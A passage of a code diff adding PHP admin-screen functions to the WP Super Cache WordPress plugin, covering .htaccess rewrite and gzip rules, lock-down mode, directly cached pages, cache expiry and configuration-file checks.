+		echo "<p>You can see where the rules go and examine the complete rules by clicking the 'View mod_rewrite rules' link below.</p></div>";
+		$dohtaccess = false;
+	} elseif( strpos( $scrules, 'supercache' ) || strpos( $wprules, 'supercache' ) ) { // only write the rules once
+		$dohtaccess = false;
+	}
+	// cache/.htaccess rules
+	$gziprules =  "<IfModule mod_mime.c>\n  AddEncoding gzip .gz\n  AddType text/html .gz\n</IfModule>\n";
+	$gziprules .= "<IfModule mod_deflate.c>\n  SetEnvIfNoCase Request_URI \.gz$ no-gzip\n</IfModule>\n";
+	$gziprules .= "<IfModule mod_headers.c>\n  Header set Cache-Control 'max-age=300, must-revalidate'\n</IfModule>\n";
+	$gziprules .= "<IfModule mod_expires.c>\n  ExpiresActive On\n  ExpiresByType text/html A300\n</IfModule>\n";
+	if( $dohtaccess && !$_POST[ 'updatehtaccess' ] ) {
+		if( !is_writeable_ACLSafe( $home_path . ".htaccess" ) ) {
+			echo "<div style='padding:0 8px;color:#9f6000;background-color:#feefb3;border:1px solid #9f6000;'><h4>Cannot update .htaccess</h4><p>The file <code>{$home_path}.htaccess</code> cannot be modified by the web server. Please correct this using the chmod command or your ftp client.</p><p>Refresh this page when the file permissions have been modified.</p><p>Alternatively, you can edit your <code>{$home_path}.htaccess</code> file manually and add the following code (before any WordPress rules):</p>";
+			echo "<p><pre># BEGIN WPSuperCache\n" . wp_specialchars( $rules ) . "# END WPSuperCache</pre></p></div>";
+		} else {
+			echo "<div style='padding:0 8px;color:#9f6000;background-color:#feefb3;border:1px solid #9f6000;'><p>To serve static html files your server must have the correct mod_rewrite rules added to a file called <code>{$home_path}.htaccess</code> ";
+			if( !function_exists( 'is_site_admin' ) ) {
+				echo "You must edit the file yourself add the following rules.";
+			} else {
+				echo "You can edit the file yourself add the following rules.";
+			}
+			echo " Make sure they appear before any existing WordPress rules.</p>";
+			echo "<pre># BEGIN WPSuperCache\n" . wp_specialchars( $rules ) . "# END WPSuperCache</pre></p>";
+			echo "<p>Rules must be added to " . WP_CONTENT_DIR . "/cache/.htaccess too:</p>";
+			echo "<pre># BEGIN supercache\n" . wp_specialchars( $gziprules ) . "# END supercache</pre></p>";
+			if( !function_exists( 'is_site_admin' ) ) {
+				echo '<form name="updatehtaccess" action="'. $_SERVER["REQUEST_URI"] . '#modrewrite" method="post">';
+				echo '<input type="hidden" name="updatehtaccess" value="1" />';
+				echo '<div class="submit"><input type="submit" ' . SUBMITDISABLED . 'id="updatehtaccess" value="Update Mod_Rewrite Rules &raquo;" /></div>';
+				wp_nonce_field('wp-cache');
+				echo "</form></div>\n";
+			}
+		}
+	} elseif( $dohtaccess && $valid_nonce && $_POST[ 'updatehtaccess' ] ) {
+		wpsc_remove_marker( $home_path.'.htaccess', 'WordPress' ); // remove original WP rules so SuperCache rules go on top
+		echo "<div style='padding:0 8px;color:#4f8a10;background-color:#dff2bf;border:1px solid #4f8a10;'>";
+		if( insert_with_markers( $home_path.'.htaccess', 'WPSuperCache', explode( "\n", $rules ) ) && insert_with_markers( $home_path.'.htaccess', 'WordPress', explode( "\n", $wprules ) ) ) {
+			echo "<h4>Mod Rewrite rules updated!</h4>";
+			echo "<p><strong>{$home_path}.htaccess has been updated with the necessary mod_rewrite rules. Please verify they are correct. They should look like this:</strong></p>\n";
+		} else {
+			echo "<h4>Mod Rewrite rules must be updated!</h4>";
+			echo "<p><strong> Your {$home_path}.htaccess is not writable by the webserver and must be updated with the necessary mod_rewrite rules. The new rules go above the regular WordPress rules as shown in the code below:</strong></p>\n";
+		}
+		echo "<p><pre>" . wp_specialchars( $rules ) . "</pre></p>\n</div>";
+	} else {
+		?>
+		<p>WP Super Cache mod rewrite rules were detected in your <?php echo $home_path ?>.htaccess file.<br /> Click the following link to see the lines added to that file. If you have upgraded the plugin make sure these rules match.<br /><br />
+		<a href="javascript:toggleLayer('rewriterules');" class="button">View Mod_Rewrite Rules</a>
+		<div id='rewriterules' style='display: none;'>
+		<?php echo "<p><pre># BEGIN WPSuperCache\n" . wp_specialchars( $rules ) . "# END WPSuperCache</pre></p>\n"; 
+		echo "<p>Rules must be added to " . WP_CONTENT_DIR ."/cache/.htaccess too:</p>";
+		echo "<pre># BEGIN supercache\n" . wp_specialchars( $gziprules ) . "# END supercache</pre></p>"; ?>
+		</div>
+		<?php
+	}
+	// http://allmybrain.com/2007/11/08/making-wp-super-cache-gzip-compression-work/
+	if( !is_file( $cache_path . '.htaccess' ) ) {
+		$gziprules = insert_with_markers( $cache_path . '.htaccess', 'supercache', explode( "\n", $gziprules ) );
+		echo "<h4>Gzip encoding rules in {$cache_path}.htaccess created.</h4>";
+	}
+
+	?></fieldset><?php
+}
+
+function wp_cache_restore() {
+	echo '<fieldset class="options"><h3>Fix Configuration</h3>';
+	echo '<form name="wp_restore" action="'. $_SERVER["REQUEST_URI"] . '" method="post">';
+	echo '<input type="hidden" name="wp_restore_config" />';
+	echo '<div class="submit"><input type="submit" ' . SUBMITDISABLED . 'id="deletepost" value="Restore Default Configuration &raquo;" /></div>';
+	wp_nonce_field('wp-cache');
+	echo "</form>\n";
+	echo '</fieldset>';
+
+}
+
+function comment_form_lockdown_message() {
+	?><p><?php _e( "Comment moderation is enabled. Your comment may take some time to appear." ); ?></p><?php
+}
+if( defined( 'WPLOCKDOWN' ) && constant( 'WPLOCKDOWN' ) )
+	add_action( 'comment_form', 'comment_form_lockdown_message' );
+
+function wp_lock_down() {
+	global $wpdb, $cache_path, $wp_cache_config_file, $valid_nonce, $cached_direct_pages, $cache_enabled, $super_cache_enabled;
+
+	if(isset($_POST['wp_lock_down']) && $valid_nonce) {
+		$wp_lock_down = $_POST['wp_lock_down'] == '1' ? '1' : '0';
+		wp_cache_replace_line('^.*WPLOCKDOWN', "define( 'WPLOCKDOWN', '$wp_lock_down' );", $wp_cache_config_file);
+		if( $wp_lock_down == '0' && function_exists( 'prune_super_cache' ) )
+			prune_super_cache( $cache_path, true ); // clear the cache after lockdown
+
+	}
+	if( !isset( $wp_lock_down ) ) {
+		if( defined( 'WPLOCKDOWN' ) ) {
+			$wp_lock_down = constant( 'WPLOCKDOWN' );
+		} else {
+			$wp_lock_down = '0';
+		}
+	}
+	?><fieldset class="options"> 
+	<h3>Lock Down: <?php echo $wp_lock_down == '0' ? '<span style="color:red">Disabled</span>' : '<span style="color:green">Enabled</span>'; ?></h3>
+	<p>Prepare your server for an expected spike in traffic by enabling the lock down. When this is enabled, new comments on a post will not refresh the cached static files.</p>
+	<p>Developers: Make your plugin lock down compatible by checking the 'WPLOCKDOWN' constant. The following code will make sure your plugin respects the WPLOCKDOWN setting.
+	<blockquote><code>if( defined( 'WPLOCKDOWN' ) && constant( 'WPLOCKDOWN' ) ) { 
+		&nbsp;&nbsp;&nbsp;&nbsp;echo "Sorry. My blog is locked down. Updates will appear shortly";
+		}</code></blockquote>
+	<?php
+	if( $wp_lock_down == '1' ) {
+		?><p>WordPress is locked down. Super Cache static files will not be deleted when new comments are made.</p><?php
+	} else {
+		?><p>WordPress is not locked down. New comments will refresh Super Cache static files as normal.</p><?php
+	}
+	$new_lockdown =  $wp_lock_down == '1' ? '0' : '1';
+	$new_lockdown_desc =  $wp_lock_down == '1' ? 'Disable' : 'Enable';
+	echo '<form name="wp_lock_down" action="'. $_SERVER["REQUEST_URI"] . '" method="post">';
+	echo "<input type='hidden' name='wp_lock_down' value='{$new_lockdown}' />";
+	echo "<div class='submit'><input type='submit' " . SUBMITDISABLED . " value='{$new_lockdown_desc} Lock Down &raquo;' /></div>";
+	wp_nonce_field('wp-cache');
+	echo "</form>\n";
+
+	?></fieldset><?php
+	if( $cache_enabled == true && $super_cache_enabled == true ) {
+	?><fieldset class="options"> 
+	<h3>Directly Cached Files</h3><?php
+
+	$out = '';
+	if( $valid_nonce && is_array( $_POST[ 'direct_pages' ] ) && !empty( $_POST[ 'direct_pages' ] ) ) {
+		$expiredfiles = array_diff( $cached_direct_pages, $_POST[ 'direct_pages' ] );
+		unset( $cached_direct_pages );
+		foreach( $_POST[ 'direct_pages' ] as $page ) {
+			$page = $wpdb->escape( $page );
+			if( $page != '' ) {
+				$cached_direct_pages[] = $page;
+				$out .= "'$page', ";
+			}
+		}
+		if( $out == '' ) {
+			$out = "'', ";
+		}
+	}
+	if( $valid_nonce && $_POST[ 'new_direct_page' ] && '' != $_POST[ 'new_direct_page' ] ) {
+		$page = str_replace( get_option( 'siteurl' ), '', $_POST[ 'new_direct_page' ] );
+		if( substr( $page, 0, 1 ) != '/' )
+			$page = '/' . $page;
+		$page = $wpdb->escape( $page );
+		if( in_array( $page, $cached_direct_pages ) == false ) {
+			$cached_direct_pages[] = $page;
+			$out .= "'$page', ";
+		}
+	}
+
+	if( $out != '' ) {
+		$out = substr( $out, 0, -2 );
+		$out = '$cached_direct_pages = array( ' . $out . ' );';
+		wp_cache_replace_line('^ *\$cached_direct_pages', "$out", $wp_cache_config_file);
+		prune_super_cache( $cache_path, true );
+	}
+
+	if( !empty( $expiredfiles ) ) {
+		foreach( $expiredfiles as $file ) {
+			if( $file != '' ) {
+				$firstfolder = explode( '/', $file );
+				$firstfolder = ABSPATH . $firstfolder[1];
+				$file = ABSPATH . $file;
+				@unlink( trailingslashit( $file ) . 'index.html' );
+				@unlink( trailingslashit( $file ) . 'index.html.gz' );
+				RecursiveFolderDelete( trailingslashit( $firstfolder ) );
+			}
+		}
+	}
+
+	if( $valid_nonce && $_POST[ 'deletepage' ] ) {
+		$page = preg_replace('/[ <>\'\"\r\n\t\(\)]/', '', str_replace( '..', '', $_POST['deletepage']) );
+		$pagefile = ABSPATH . $page . 'index.html';
+		$firstfolder = explode( '/', $page );
+		$firstfolder = ABSPATH . $firstfolder[1];
+		$page = ABSPATH . $page;
+		if( is_file( $pagefile ) && is_writeable_ACLSafe( $pagefile ) && is_writeable_ACLSafe( $firstfolder ) ) {
+			@unlink( $pagefile );
+			@unlink( $pagefile . '.gz' );
+			RecursiveFolderDelete( $firstfolder );
+			echo "<strong>$pagefile removed!</strong>";
+			prune_super_cache( $cache_path, true );
+		}
+	}
+
+	$readonly = '';
+	if( !is_writeable_ACLSafe( ABSPATH ) ) {
+		$readonly = 'READONLY';
+		?><p style='padding:0 8px;color:#9f6000;background-color:#feefb3;border:1px solid #9f6000;'><strong>Warning!</strong> You must make <?php echo ABSPATH ?> writable to enable this feature. As this is a security risk please make it readonly after your page is generated.</p><?php
+	} else {
+		?><p style='padding:0 8px;color:#9f6000;background-color:#feefb3;border:1px solid #9f6000;'><strong>Warning!</strong> <?php echo ABSPATH ?> is writable. Please make it readonly after your page is generated as this is a security risk.</p><?php
+	}
+	echo '<form name="direct_page" action="'. $_SERVER["REQUEST_URI"] . '" method="post">';
+	if( is_array( $cached_direct_pages ) ) {
+		$out = '';
+		foreach( $cached_direct_pages as $page ) {
+			if( $page == '' )
+				continue;
+			$generated = '';
+			if( is_file( ABSPATH . $page . '/index.html' ) )
+				$generated = '<input type="Submit" name="deletepage" value="' . $page . '">';
+			$out .= "<tr><td><input type='text' $readonly name='direct_pages[]' size='30' value='$page' /></td><td>$generated</td></tr>";
+		}
+		if( $out != '' ) {
+			?><table><tr><th>Existing direct page</th><th>Delete cached file</th></tr><?php
+			echo "$out</table>";
+		}
+	}
+	if( $readonly != 'READONLY' )
+		echo "Add direct page: <input type='text' $readonly name='new_direct_page' size='30' value='' />";
+
+	echo "<p>Directly cached files are files created directly off " . ABSPATH . " where your blog lives. This feature is only useful if you are expecting a major Digg or Slashdot level of traffic to one post or page.</p>";
+	if( $readonly != 'READONLY' ) {
+		echo "<p>For example: to cache <em>'" . trailingslashit( get_option( 'siteurl' ) ) . "about/'</em>, you would enter '" . trailingslashit( get_option( 'siteurl' ) ) . "about/' or '/about/'. The cached file will be generated the next time an anonymous user visits that page.</p>";
+		echo "<p>Make the textbox blank to remove it from the list of direct pages and delete the cached file.</p>";
+	}
+
+	wp_nonce_field('wp-cache');
+	if( $readonly != 'READONLY' )
+		echo "<div class='submit'><input type='submit' ' . SUBMITDISABLED . 'value='Update Direct Pages &raquo;' /></div>";
+	echo "</form>\n";
+	?></fieldset><?php
+	} // if $super_cache_enabled
+}
+
+function RecursiveFolderDelete ( $folderPath ) { // from http://www.php.net/manual/en/function.rmdir.php
+	if( trailingslashit( constant( 'ABSPATH' ) ) == trailingslashit( $folderPath ) )
+		return false;
+	if ( @is_dir ( $folderPath ) ) {
+		$dh  = @opendir($folderPath);
+		while (false !== ($value = @readdir($dh))) {
+			if ( $value != "." && $value != ".." ) {
+				$value = $folderPath . "/" . $value; 
+				if ( @is_dir ( $value ) ) {
+					RecursiveFolderDelete ( $value );
+				}
+			}
+		}
+		return @rmdir ( $folderPath );
+	} else {
+		return FALSE;
+	}
+}
+
+function wp_cache_edit_max_time () {
+	global $cache_max_time, $wp_cache_config_file, $valid_nonce, $cache_enabled, $super_cache_enabled;
+
+	if( !isset( $cache_max_time ) )
+		$cache_max_time = 3600;
+
+	if(isset($_POST['wp_max_time']) && $valid_nonce) {
+		$max_time = (int)$_POST['wp_max_time'];
+		if ($max_time > 0) {
+			$cache_max_time = $max_time;
+			wp_cache_replace_line('^ *\$cache_max_time', "\$cache_max_time = $cache_max_time;", $wp_cache_config_file);
+		}
+	}
+	?><fieldset class="options"> 
+	<h3>Expiry Time &amp; Garbage Collection</h3><?php
+	echo '<form name="wp_edit_max_time" action="'. $_SERVER["REQUEST_URI"] . '" method="post">';
+	echo '<label for="wp_max_time">Expire time:</label> ';
+	echo "<input type=\"text\" size=6 name=\"wp_max_time\" value=\"$cache_max_time\" /> seconds";
+	echo "<h4>Garbage Collection</h4><p>If expiry time is more than 1800 seconds (half an hour), garbage collection will be done every 10 minutes, otherwise it will happen 10 seconds after the expiry time above.</p>";
+	echo "<p>Checking for and deleting expired files is expensive, but it's expensive leaving them there too. On a very busy site you should set the expiry time to <em>300 seconds</em>. Experiment with different values and visit this page to see how many expired files remain at different times during the day. Aim to have less than 500 cached files if possible.</p>";
+	echo '<div class="submit"><input type="submit" ' . SUBMITDISABLED . 'value="Change Expiration &raquo;" /></div>';
+	wp_nonce_field('wp-cache');
+	echo "</form>\n";
+	?></fieldset><?php
+}
+
+function wp_cache_sanitize_value($text, & $array) {
+	$text = wp_specialchars(strip_tags($text));
+	$array = preg_split("/[\s,]+/", chop($text));
+	$text = var_export($array, true);
+	$text = preg_replace('/[\s]+/', ' ', $text);
+	return $text;
+}
+
+// from tehjosh at gamingg dot net http://uk2.php.net/manual/en/function.apache-request-headers.php#73964
+// fixed bug in second substr()
+if( !function_exists('apache_request_headers') ) {
+	function apache_request_headers() {
+		$headers = array();
+		foreach(array_keys($_SERVER) as $skey) {
+			if(substr($skey, 0, 5) == "HTTP_") {
+				$headername = str_replace(" ", "-", ucwords(strtolower(str_replace("_", " ", substr($skey, 5)))));
+				$headers[$headername] = $_SERVER[$skey];
+			}
+		}
+		return $headers;
+	}
+}
+
+function wp_cache_edit_rejected_ua() {
+	global $cache_rejected_user_agent, $wp_cache_config_file, $valid_nonce;
+
+	if (!function_exists('apache_request_headers')) return;
+
+	if(isset($_REQUEST['wp_rejected_user_agent']) && $valid_nonce) {
+		$text = wp_cache_sanitize_value($_REQUEST['wp_rejected_user_agent'], $cache_rejected_user_agent);
+		wp_cache_replace_line('^ *\$cache_rejected_user_agent', "\$cache_rejected_user_agent = $text;", $wp_cache_config_file);
+	}
+
+	echo '<a name="user-agents"></a><fieldset class="options"><h3>Rejected User Agents</h3>';
+	echo "<p>Strings in the HTTP 'User Agent' header that prevent WP-Cache from 
+		caching bot, spiders, and crawlers' requests.
+		Note that super cached files are still sent to these agents if they already exists.</p>\n";
+	echo '<form name="wp_edit_rejected_user_agent" action="'. $_SERVER["REQUEST_URI"] . '" method="post">';
+	echo '<textarea name="wp_rejected_user_agent" cols="40" rows="4" style="width: 50%; font-size: 12px;" class="code">';
+	foreach ($cache_rejected_user_agent as $ua) {
+		echo wp_specialchars($ua) . "\n";
+	}
+	echo '</textarea> ';
+	echo '<div class="submit"><input type="submit" ' . SUBMITDISABLED . 'value="Save UA Strings &raquo;" /></div>';
+	wp_nonce_field('wp-cache');
+	echo '</form>';
+	echo "</fieldset>\n";
+}
+
+
+function wp_cache_edit_rejected() {
+	global $cache_acceptable_files, $cache_rejected_uri, $wp_cache_config_file, $valid_nonce;
+
+	if(isset($_REQUEST['wp_rejected_uri']) && $valid_nonce) {
+		$text = wp_cache_sanitize_value( str_replace( '\\\\', '\\', $_REQUEST['wp_rejected_uri'] ), $cache_rejected_uri );
+		wp_cache_replace_line('^ *\$cache_rejected_uri', "\$cache_rejected_uri = $text;", $wp_cache_config_file);
+	}
+
+
+	echo '<form name="wp_edit_rejected" action="'. $_SERVER["REQUEST_URI"] . '" method="post">';
+	echo "<p>Add here strings (not a filename) that forces a page not to be cached. For example, if your URLs include year and you dont want to cache last year posts, it's enough to specify the year, i.e. '/2004/'. WP-Cache will search if that string is part of the URI and if so, it will not cache that page.</p>\n";
+	echo '<textarea name="wp_rejected_uri" cols="40" rows="4" style="width: 50%; font-size: 12px;" class="code">';
+	foreach ($cache_rejected_uri as $file) {
+		echo wp_specialchars( $file ) . "\n";
+	}
+	echo '</textarea> ';
+	echo '<div class="submit"><input type="submit" ' . SUBMITDISABLED . 'value="Save Strings &raquo;" /></div>';
+	wp_nonce_field('wp-cache');
+	echo "</form>\n";
+}
+
+function wp_cache_edit_accepted() {
+	global $cache_acceptable_files, $cache_rejected_uri, $wp_cache_config_file, $valid_nonce;
+
+	if(isset($_REQUEST['wp_accepted_files']) && $valid_nonce) {
+		$text = wp_cache_sanitize_value($_REQUEST['wp_accepted_files'], $cache_acceptable_files);
+		wp_cache_replace_line('^ *\$cache_acceptable_files', "\$cache_acceptable_files = $text;", $wp_cache_config_file);
+	}
+
+
+	echo '<div style="clear:both"></div><form name="wp_edit_accepted" action="'. $_SERVER["REQUEST_URI"] . '" method="post">';
+	echo "<p>Add here those filenames that can be cached, even if they match one of the rejected substring specified above.</p>\n";
+	echo '<textarea name="wp_accepted_files" cols="40" rows="8" style="width: 50%; font-size: 12px;" class="code">';
+	foreach ($cache_acceptable_files as $file) {
+		echo wp_specialchars($file) . "\n";
+	}
+	echo '</textarea> ';
+	echo '<div class="submit"><input type="submit" ' . SUBMITDISABLED . 'value="Save Files &raquo;" /></div>';
+	wp_nonce_field('wp-cache');
+	echo "</form>\n";
+}
+
+function wp_cache_enable() {
+	global $wp_cache_config_file, $cache_enabled, $supercachedir;
+
+	if(get_option('gzipcompression')) {
+		echo "<strong>Error: GZIP compression is enabled, disable it if you want to enable wp-cache.</strong>";
+		return false;
+	}
+	if( wp_cache_replace_line('^ *\$cache_enabled', '$cache_enabled = true;', $wp_cache_config_file) ) {
+		$cache_enabled = true;
+	}
+	wp_super_cache_enable();
+}
+
+function wp_cache_disable() {
+	global $wp_cache_config_file, $cache_enabled;
+
+	if (wp_cache_replace_line('^ *\$cache_enabled', '$cache_enabled = false;', $wp_cache_config_file)) {
+		$cache_enabled = false;
+	}
+	wp_super_cache_disable();
+}
+function wp_super_cache_enable() {
+	global $supercachedir, $wp_cache_config_file, $super_cache_enabled;
+
+	if( is_dir( $supercachedir . ".disabled" ) )
+		if( is_dir( $supercachedir ) ) {
+			prune_super_cache( $supercachedir . ".disabled", true );
+			@unlink( $supercachedir . ".disabled" );
+		} else {
+			@rename( $supercachedir . ".disabled", $supercachedir );
+		}
+	wp_cache_replace_line('^ *\$super_cache_enabled', '$super_cache_enabled = true;', $wp_cache_config_file);
+	$super_cache_enabled = true;
+}
+
+function wp_super_cache_disable() {
+	global $cache_path, $supercachedir, $wp_cache_config_file, $super_cache_enabled;
+
+	wp_cache_replace_line('^ *\$super_cache_enabled', '$super_cache_enabled = false;', $wp_cache_config_file);
+	if( is_dir( $supercachedir ) )
+		@rename( $supercachedir, $supercachedir . ".disabled" );
+	$super_cache_enabled = false;
+	sleep( 1 ); // allow existing processes to write to the supercachedir and then delete it
+	if (function_exists ('prune_super_cache') && is_dir( $supercachedir ) ) {
+		prune_super_cache( $cache_path, true );
+	}
+}
+
+function wp_cache_is_enabled() {
+	global $wp_cache_config_file;
+
+	if(get_option('gzipcompression')) {
+		echo "<strong>Warning</strong>: GZIP compression is enabled in Wordpress, wp-cache will be bypassed until you disable gzip compression.";
+		return false;
+	}
+	$lines = file($wp_cache_config_file);
+	foreach($lines as $line) {
+	 	if (preg_match('/^ *\$cache_enabled *= *true *;/', $line))
+			return true;
+	}
+	return false;
+}
+
+
+function wp_cache_replace_line($old, $new, $my_file) {
+	if (!is_writeable_ACLSafe($my_file)) {
+		echo "Error: file $my_file is not writable.\n";
+		return false;
+	}
+	$found = false;
+	$lines = file($my_file);
+	foreach($lines as $line) {
+	 	if ( preg_match("/$old/", $line)) {
+			$found = true;
+			break;
+		}
+	}
+	if ($found) {
+		$fd = fopen($my_file, 'w');
+		foreach($lines as $line) {
+			if ( !preg_match("/$old/", $line))
+				fputs($fd, $line);
+			else {
+				fputs($fd, "$new //Added by WP-Cache Manager\n");
+			}
+		}
+		fclose($fd);
+		return true;
+	}
+	$fd = fopen($my_file, 'w');
+	$done = false;
+	foreach($lines as $line) {
+		if ( $done || !preg_match('/^(if\ \(\ \!\ )?define|\$|\?>/', $line) ) {
+			fputs($fd, $line);
+		} else {
+			fputs($fd, "$new //Added by WP-Cache Manager\n");
+			fputs($fd, $line);
+			$done = true;
+		}
+	}
+	fclose($fd);
+	return true;
+}
+
+function wp_cache_verify_cache_dir() {
+	global $cache_path, $blog_cache_dir, $blogcacheid;
+
+	$dir = dirname($cache_path);
+	if ( !file_exists($cache_path) ) {
+		if ( !is_writeable_ACLSafe( $dir ) || !($dir = mkdir( $cache_path ) ) ) {
+				echo "<strong>Error:</strong> Your cache directory (<strong>$cache_path</strong>) did not exist and couldn't be created by the web server.  Check  $dir permissions.";
+				return false;
+		}
+	}
+	if ( !is_writeable_ACLSafe($cache_path)) {
+		echo "<strong>Error:</strong> Your cache directory (<strong>$cache_path</strong>) or <strong>$dir</strong> need to be writable for this plugin to work.  Double-check it.";
+		return false;
+	}
+
+	if ( '/' != substr($cache_path, -1)) {
+		$cache_path .= '/';
+	}
+
+	if( false == is_dir( $blog_cache_dir ) ) {
+		@mkdir( $cache_path . "blogs" );
+		if( $blog_cache_dir != $cache_path . "blogs/" )
+			@mkdir( $blog_cache_dir );
+	}
+
+	if( false == is_dir( $blog_cache_dir . 'meta' ) )
+		@mkdir( $blog_cache_dir . 'meta' );
+
+	return true;
+}
+
+function wp_cache_verify_config_file() {
+	global $wp_cache_config_file, $wp_cache_config_file_sample, $sem_id, $cache_path;
+
+	$new = false;
+	$dir = dirname($wp_cache_config_file);
+
+	if ( file_exists($wp_cache_config_file) ) {
+		$lines = join( ' ', file( $wp_cache_config_file ) );
+		if( strpos( $lines, 'WPCACHEHOME' ) === false ) {
+			if( is_writeable_ACLSafe( $wp_cache_config_file ) ) {
+				@unlink( $wp_cache_config_file );
+			} else {
+				echo "<strong>Error:</strong> Your WP-Cache config file (<strong>$wp_cache_config_file</strong>) is out of date and not writable by the Web server.Please delete it and refresh this page.";
+				return false;
+			}
+		}
+	} elseif( !is_writeable_ACLSafe($dir)) {
+		echo "<strong>Error:</strong> Configuration file missing and " . WP_CONTENT_DIR . "  directory (<strong>$dir</strong>) is not writable by the Web server.Check its permissions.";
+		return false;
+	}
+
+	if ( !file_exists($wp_cache_config_file) ) {
+		if ( !file_exists($wp_cache_config_file_sample) ) {
+			echo "<strong>Error:</strong> Sample WP-Cache config file (<strong>$wp_cache_config_file_sample</strong>) does not exist.Verify you installation.";
+			return false;
+		}
+		copy($wp_cache_config_file_sample, $wp_cache_config_file);
+		$dir = str_replace( str_replace( '\\', '/', WP_CONTENT_DIR ), '', str_replace( '\\', '/', dirname(__FILE__) ) );
+		if( is_file( dirname(__FILE__) . '/wp-cache-config-sample.php' ) ) {
+			wp_cache_replace_line('define\(\ \'WPCACHEHOME', "\tdefine( 'WPCACHEHOME', WP_CONTENT_DIR . \"{$dir}/\" );", $wp_cache_config_file);
+		} elseif( is_file( dirname(__FILE__) . '/wp-super-cache/wp-cache-config-sample.php' ) ) {
+			wp_cache_replace_line('define\(\ \'WPCACHEHOME', "\tdefine( 'WPCACHEHOME', WP_CONTENT_DIR . \"{$dir}/wp-super-cache/\" );", $wp_cache_config_file);
+		}
+		$new = true;
+	}
+	if( $sem_id == 5419 && $cache_path != '' ) {
+		$sem_id = crc32( $_SERVER[ 'HTTP_HOST' ] . $cache_path ) & 0x7fffffff;
+		wp_cache_replace_line('sem_id', '$sem_id = ' . $sem_id . ';', $wp_cache_config_file);
+	}
+	require($wp_cache_config_file);
+	return true;
+}
+
+function wp_cache_create_advanced_cache() {
+	global $wp_cache_link, $wp_cache_file;
+	$ret = true;
+
+	$file = file_get_contents( $wp_cache_file );
+	$file = str_replace( 'CACHEHOME', constant( 'WPCACHEHOME' ), $file );
+	$fp = @fopen( $wp_cache_link, 'w' );
+	if( $fp ) {
+		fputs( $fp, $file );
+		fclose( $fp );
+	} else {
+		$ret = false;
+	}
+	return $ret;
+}
+
+function wp_cache_check_link() {
+	global $wp_cache_link, $wp_cache_file;
+ 
+ 	$ret = true;
+	if( file_exists($wp_cache_link) ) {
+		$file = file_get_contents( $wp_cache_link );
+		if( strpos( $file, "WP SUPER CACHE 0.8.9.1" ) ) {
+			return true;
+		} else {
+			if( !@unlink($wp_cache_link) ) {
+				$ret = false;
+			} else {
+				$ret = wp_cache_create_advanced_cache();
+			}
+		}
+	} else {
+		$ret = wp_cache_create_advanced_cache();
+	}
+
+	if( false == $ret ) {
+		echo "<h3>Warning! <em>" . constant( 'WP_CONTENT_DIR' ) . "/advanced-cache.php</em> does not exist or cannot be updated.</h3>";
+		echo "<p><ul><li>1. If it already exists please delete the file first.</li>";
+		echo "<li>2. Make " . constant( 'WP_CONTENT_DIR' ) . " writable using the chmod command through your ftp or server software. (<em>chmod 777 " . constant( 'WP_CONTENT_DIR' ) . "</em>) and refresh this page. This is only a temporary measure and you'll have to make it read only afterwards again. (Change 777 to 755 in the previous command)</li>";
+		echo "<li>3. Refresh this page to update <em>" . constant( 'WP_CONTENT_DIR' ) . "/advanced-cache.php</em></li></ul>";
+		echo "If that doesn't work, make sure the file <em>" . constant( 'WP_CONTENT_DIR' ) . "/advanced-cache.php</em> doesn't exist:<ol>";
+		echo "<li>1. Open <em>$wp_cache_file</em> in a text editor.</li><li>2. Change the text <em>CACHEHOME</em> to <em>" . constant( 'WPCACHEHOME' ) . "</em></li><li>3. Save the file and copy it to <em>$wp_cache_link</em> and refresh this page.</li>";
+		return false;
+	}
+	return true;
+}
+
+function wp_cache_check_global_config() {
+	if( defined( 'WP_CACHE' ) )
+		return true;
+
+	if ( file_exists( ABSPATH . 'wp-config.php') ) {
+		$global = ABSPATH . 'wp-config.php';
+	} else {
+		$global = dirname(ABSPATH) . '/wp-config.php';
+	}
+
+	$howtoenable = "Edit <code>$global</code> and add the following line: <code>define('WP_CACHE', true);</code>Otherwise, <strong>WP-Cache will not be executed</strong> by Wordpress core. ";
+	$lines = file($global);
+	foreach($lines as $line) {
+		if (preg_match('/^\s*define\s*\(\s*\'WP_CACHE\'\s*,\s*(?i:TRUE|1)\s*\)\s*;/', $line)) {
+			echo $howtoenable;
+			return false;
+		}
+	}
+	$line = 'define(\'WP_CACHE\', true);';
+	if (!is_writeable_ACLSafe($global) || !wp_cache_replace_line('define *\( *\'WP_CACHE\'', $line, $global) ) {
+			echo "<strong>Error: WP_CACHE is not enabled</strong> in your <code>wp-config.php</code> file and I couldn't modify it.";
+			echo $howtoenable;
+			return false;
+	} 
+	return true;
+}
+
+function wp_cache_files() {
+	global $cache_path, $file_prefix, $cache_max_time, $valid_nonce, $supercachedir, $cache_enabled, $super_cache_enabled, $blog_cache_dir;
+
+	if ( '/' != substr($cache_path, -1)) {
+		$cache_path .= '/';
+	}
+
+	if ( $valid_nonce ) {
+		if(isset($_REQUEST['wp_delete_cache'])) {
+			wp_cache_clean_cache($file_prefix);
+		}
+		if(isset($_REQUEST['wp_delete_cache_file'])) {
+			wp_cache_clean_cache($_REQUEST['wp_delete_cache_file']);
+		}
+		if(isset($_REQUEST['wp_delete_expired'])) {
+			wp_cache_clean_expired($file_prefix);
+		}
+	}
+	if(isset($_REQUEST['wp_list_cache'])) {
+		$list_files = true;
+		$list_mess = "Update list";
+	} else 
+		$list_mess = "List files";
+
+	echo '<fieldset class="options" id="show-this-fieldset"><h3>Cache Contents</h3>';
+	/*
+	echo '<form name="wp_cache_content_list" action="'. $_SERVER["REQUEST_URI"] . '" method="post">';
+	echo '<input type="hidden" name="wp_list_cache" />';
+	echo '<div class="submit"><input type="submit" ' . SUBMITDISABLED . 'value="'.$list_mess.' &raquo;" /></div>';
+	echo "</form>\n";
+	*/
+
+	$list_files = false; // it doesn't list supercached files, and removing single pages is buggy
+	$count = 0;
+	$expired = 0;
+	$now = time();
+	if ( ($handle = @opendir( $blog_cache_dir . 'meta/' )) ) { 
+		if ($list_files) echo "<table cellspacing=\"0\" cellpadding=\"5\">";
+		$wp_cache_fsize = 0;
+		while ( false !== ($file = readdir($handle))) {
+			if ( preg_match("/^$file_prefix.*\.meta/", $file) ) {
+				$this_expired = false;
+				$content_file = preg_replace("/meta$/", "html", $file);
+				$mtime = filemtime( $blog_cache_dir . 'meta/' . $file );
+				if ( ! ( $fsize = @filesize( $blog_cache_dir . $content_file ) ) ) 
+					continue; // .meta does not exists
+				$wp_cache_fsize += $fsize;
+				$fsize = intval($fsize/1024);
+				$age = $now - $mtime;
+				if ( $age > $cache_max_time ) {
+					$expired++;
+					$this_expired = true;
+				}
+				$count++;
+				/*
+				if ($list_files) {
